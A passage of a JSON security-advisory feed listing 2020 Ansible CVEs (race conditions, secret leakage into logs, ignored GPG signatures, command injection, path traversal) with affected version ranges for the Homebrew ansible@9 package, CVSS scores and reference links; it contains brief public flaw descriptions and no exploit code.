2.9.6.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10729"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/34144"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67429"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c520d70bf4748c8ee6718a7d0d0254051ba1c2e9"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1831089"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r6h7-5pq2-j77h"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.6/changelogs/CHANGELOG-v2.9.rst"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-105.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-10744","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-vp9j-rghq-8jhh","CVE-2020-10744","PYSEC-2020-208"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Resource to Wrong Sphere and Insecure Temporary File in Ansible","details":"An incomplete fix was found for the fix of the flaw CVE-2020-1733 ansible insecure temporary directory when running become_user from become directive. The provided fix is insufficient to prevent the race condition on systems using ACLs and FUSE filesystems. Ansible Engine 2.7.18, 2.8.12, and 2.9.9 as well as previous versions are affected and Ansible Tower 3.4.5, 3.5.6 and 3.6.4 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10744"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/69782"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/77d0effcc5b2da1ef23e4ba32986a9759c27c10d"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/84afa8e90cd168ff13208c8eae3e533ce7e21e1f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ffd3757fc35468a97791e452e7f2d14c3e3fcb80"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10744"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vp9j-rghq-8jhh"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-208.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-14330","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-785x-qw4v-6872","CVE-2020-14330","PYSEC-2020-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Output Neutralization and Improper Encoding or Escaping of Output for Logs in ansible","details":"An Improper Output Neutralization for Logs flaw was found in Ansible when using the uri module, where sensitive data is exposed to content and json output. This flaw allows an attacker to access the logs or outputs of performed tasks to read keys used in playbooks from other users within the uri module. The highest threat from this vulnerability is to data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14330"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/68400"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69653"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e0f25a2b1f9e6c21f751ba0ed2dc2eee2152983e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14330"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-785x-qw4v-6872"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-3.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-14332","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-j667-c2hm-f2wp","CVE-2020-14332","PYSEC-2020-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1rc2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File and Improper Output Neutralization for Logs in ansible","details":"A flaw was found in the Ansible Engine when using module_args. Tasks executed with check mode (--check-mode) do not properly neutralize sensitive data exposed in the event data. This flaw allows unauthorized users to read this data. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/71033"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/291f94934c8c49eef85e6539087f2dfcd001fe4f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6cae9a4b168df776bf82deb04b2c62e00c38b49a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/714cd2ad2eff7f003d728414afcb91591fad5d9a"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14332"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j667-c2hm-f2wp"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.10/changelogs/CHANGELOG-v2.10.rst#security-fixes-3"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.8/changelogs/CHANGELOG-v2.8.rst#security-fixes-4"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes-6"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-4.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-14365","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-m429-fhmv-c6q2","CVE-2020-14365","PYSEC-2020-209"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Verification of Cryptographic Signature in ansible","details":"A flaw was found in the Ansible Engine, in ansible-engine 2.8.x before 2.8.15 and ansible-engine 2.9.x before 2.9.13, when installing packages using the dnf module. GPG signatures are ignored during installation even when `disable_gpg_check` is set to `False`, which is the default behavior. This flaw leads to malicious packages being installed on the system and arbitrary code executed via package installation scripts. The highest threat from this vulnerability is to integrity and system availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14365"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1d043e082b3b1f3ad35c803137f5d3bcbae92275"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1fa2d5fd6b768120b76a77929e27302b06accc0c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/9bea33ffa3be3d64827f59882d95b817cfab9b7e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1869154"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m429-fhmv-c6q2"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-209.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-1733","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-g4mq-6fp5-qwcf","CVE-2020-1733","PYSEC-2020-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible vulnerable to Exposure of Resource to Wrong Sphere and Insecure Temporary File","details":"A race condition flaw was found in Ansible Engine 2.7.17 and prior, 2.8.9 and prior, 2.9.6 and prior when running a playbook with an unprivileged become user. When Ansible needs to run a module with become user, the temporary directory is created in /var/tmp. This directory is created with \"umask 77 && mkdir -p <dir>\"; this operation does not fail if the directory already exists and is owned by another user. An attacker could take advantage to gain control of the become user as the target directory can be retrieved by iterating '/proc/<pid>/cmdline'.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1733"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67791"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/80b9a0a25c5f75e84aefc8f2b293fb1933b154f2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8251d9f4c2bc82632ab992277fcd30ccbf87aa47"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ecf99d5e1ff732a7777010facd6c98bb0994605e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1733"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g4mq-6fp5-qwcf"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-5.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-1734","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-h39q-95q5-9jfp","CVE-2020-1734","PYSEC-2020-6"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"OS Command Injection in ansible","details":"A flaw was found in the pipe lookup plugin of ansible. Arbitrary commands can be run, when the pipe lookup plugin uses `subprocess.Popen()` with `shell=True`, by overwriting ansible facts and the variable is not escaped by quote plugin. An attacker could take advantage and run arbitrary commands by overwriting the ansible facts.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1734"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67792"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/70159"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/70596"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4f978af4ca16ad9828ffe42203b9615425195f8b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/963bdd9983b91a48fb6949fb2ef41071e72d0be0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/bff0724e9eab2770f874e018298f9ab74cc2a78f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e5649ca3e807f17e7c034ee22791f107162973b0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2020:0547"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2020:1539"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2020-1734"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1801804"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1734"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h39q-95q5-9jfp"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-6.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-1735","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-gfr2-qpxh-qj9m","CVE-2020-1735","PYSEC-2020-7"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"A flaw was found in the Ansible Engine when the fetch module is used. An attacker could intercept the module, inject a new path, and then choose a new destination path on the controller node. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1735"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67793"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69023"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69024"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69025"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/18f91bbb88a84b1d3614ef41c3550da735592ac1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/40969ff43812fabf5397f818d9e521f9b39c9c9a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/de9a4f5474c5f5db442ae7493d6b5da7177e335d"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-7.yaml"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes-7"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gfr2-qpxh-qj9m"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1735"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-1736","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-x7jh-595q-wq82","CVE-2020-1736","PYSEC-2020-8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Incorrect Permission Assignment for Critical Resource in Ansible","details":"A flaw was found in Ansible Engine when a file is moved using atomic_move primitive as the file mode cannot be specified. This sets the destination files world-readable if the destination file does not exist and if the file exists, the file could be changed to have less restrictive permissions before the move. This could lead to the disclosure of sensitive data. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1736"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67794"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1736"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x7jh-595q-wq82"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-8.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2NYYQP2XJB2TTRP6AKWVMBSPB2DFJNKD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BPNZWBAUP4ZHUR6PO7U6ZXEKNCX62KZ7"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-1737","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-893h-35v4-mxqx","CVE-2020-1737","PYSEC-2020-9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"A flaw was found in Ansible 2.7.17 and prior, 2.8.9 and prior, and 2.9.6 and prior when using the Extract-Zip function from the win_unzip module as the extracted file(s) are not checked if they belong to the destination folder. An attacker could take advantage of this flaw by crafting an archive anywhere in the file system, using a path traversal. This issue is fixed in 2.10.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1737"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67795"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67799"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/1de638b4d38d6d916588e2ad48d01f90dab8c36d"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/aaf549d7870b8687209a3282841b59207735b676"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/b60aa26e2313a8d52c0e0d3fd01696e797605b72"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1737"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-893h-35v4-mxqx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-9.yaml"},{"type":"PACKAGE","url":"https://github.com/samdoran/ansible"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-1738","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-f85h-23mf-2fwh","CVE-2020-1738","PYSEC-2020-10"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Argument Injection in Ansible","details":"A flaw was found in Ansible Engine when the module package or service is used and the parameter 'use' is not specified. If a previous task is executed with a malicious user, the module sent can be selected by the attacker using the ansible facts file. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1738"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67796"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67808"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1738"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f85h-23mf-2fwh"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-10.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-1739","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-923p-fr2c-g5m2","CVE-2020-1739","PYSEC-2020-11"],"affected":[{"package":{"ecosystem":"Homebrew